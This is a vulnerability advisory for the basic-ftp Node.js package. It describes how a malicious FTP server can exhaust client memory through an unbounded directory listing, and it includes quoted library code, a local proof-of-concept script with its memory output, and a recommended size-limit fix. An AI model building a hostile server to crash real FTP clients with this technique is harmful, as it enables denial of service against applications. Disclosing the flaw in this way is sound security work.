basic-ftp vulnerable to denial of service via unbounded memory consumption in Client.list()

Summary

basic-ftp@5.2.2 is vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to Client.list(), causing the client process to consume memory until it becomes unstable or crashes.

Details

The issue is in the package's default directory listing flow.

Client.list() reaches dist/Client.js, where the full listing response is downloaded into a StringWriter before parsing:

File: dist/Client.js:516-527

async _requestListWithCommand(command) {
    const buffer = new StringWriter_1.StringWriter();
    await (0, transfer_1.downloadTo)(buffer, {
        ftp: this.ftp,
        tracker: this._progressTracker,
        command,
        remotePath: "",
        type: "list"
    });
    const text = buffer.getText(this.ftp.encoding);
    this.ftp.log(text);
    return this.parseList(text);
}

The vulnerable sink is StringWriter, which grows an in-memory Buffer with no limit:

File: dist/StringWriter.js:5-20

class StringWriter extends stream_1.Writable {
    constructor() {
        super(...arguments);
        this.buf = Buffer.alloc(0);
    }
    _write(chunk, _, callback) {
        if (chunk instanceof Buffer) {
            this.buf = Buffer.concat([this.buf, chunk]);
            callback(null);
        }
        else {
            callback(new Error("StringWriter expects chunks of type 'Buffer'."));
        }
    }
    getText(encoding) {
        return this.buf.toString(encoding);
    }
}

The critical operation is:

this.buf = Buffer.concat([this.buf, chunk]);

There is no maximum size check, no truncation, and no streaming parser. Because the remote FTP server controls the listing response, it can force the client to keep allocating memory until the process is terminated.

How it happens:

1. An application connects to an attacker-controlled or compromised FTP server.
2. The application calls client.list().
3. The server returns an extremely large or unbounded directory listing.
4. basic-ftp buffers the full response in StringWriter.
5. Memory grows without bound due to repeated Buffer.concat(...) calls.

PoC

The following PoC exercises the vulnerable buffering primitive directly:

const { StringWriter } = require("basic-ftp/dist/StringWriter.js");

function mb(n) {
  return Math.round(n / 1024 / 1024) + "MB";
}

const writer = new StringWriter();
let wrote = 0;

for (let i = 0; i < 32; i++) {
  const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);
  writer.write(chunk);
  wrote += chunk.length;

  if ((i + 1) % 8 === 0) {
    const m = process.memoryUsage();
    console.log("written", mb(wrote), "rss", mb(m.rss), "heap", mb(m.heapUsed), "buf", mb(m.arrayBuffers));
  }
}

console.log("final text len", writer.getText("utf8").length);

Observed output:

written 32MB rss 116MB heap 4MB buf 64MB
written 64MB rss 296MB heap 4MB buf 240MB
written 96MB rss 340MB heap 3MB buf 284MB
written 128MB rss 436MB heap 3MB buf 376MB
final text len 134217728

This demonstrates sustained memory growth in the same code path used to buffer directory listing data.

Supporting files saved alongside this report:

• poc.js
• poc_output.txt

Impact

This is a denial-of-service vulnerability affecting applications that use basic-ftp to list directories from remote FTP servers.

• Vulnerability class: Memory exhaustion / Denial of Service
• Attack precondition: The victim connects to a malicious or compromised FTP server and performs Client.list()
• Impacted users: Any application or service using basic-ftp@5.2.2 against untrusted FTP endpoints
• Security effect: The attacker can cause excessive memory consumption, process instability, and potential process termination

Recommended remediation:

1. Enforce a maximum listing size.
2. Abort transfers that exceed the configured limit.
3. Prefer incremental or streaming parsing over full-response buffering.

Example defensive check:

if (this.buf.length + chunk.length > MAX_LISTING_BYTES) {
    callback(new Error("FTP listing exceeds maximum allowed size."));
    return;
}
this.buf = Buffer.concat([this.buf, chunk]);